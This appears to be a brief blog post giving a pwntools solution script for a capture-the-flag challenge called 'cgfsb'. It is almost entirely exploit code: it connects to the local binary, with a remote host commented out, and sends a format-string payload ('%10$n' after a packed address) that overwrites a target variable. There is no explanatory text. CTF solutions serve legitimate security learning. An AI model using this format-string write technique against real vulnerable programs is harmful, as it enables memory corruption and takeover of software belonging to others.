02_cgfsb
2019-04-17 本文已影响0人
Zero_0_0
from pwn import*
p = process('./cgfsb')
#p = remote("111.198.29.45","30656")
##fmt_offset = 10
pwnme = 0x804a068
p.recvuntil('name:')
p.sendline('tutu')
p.recvuntil('please:')
payload = p32(pwnme)
payload += 'aaaa'
payload += '%10$n'
p.sendline(payload)
p.interactive()
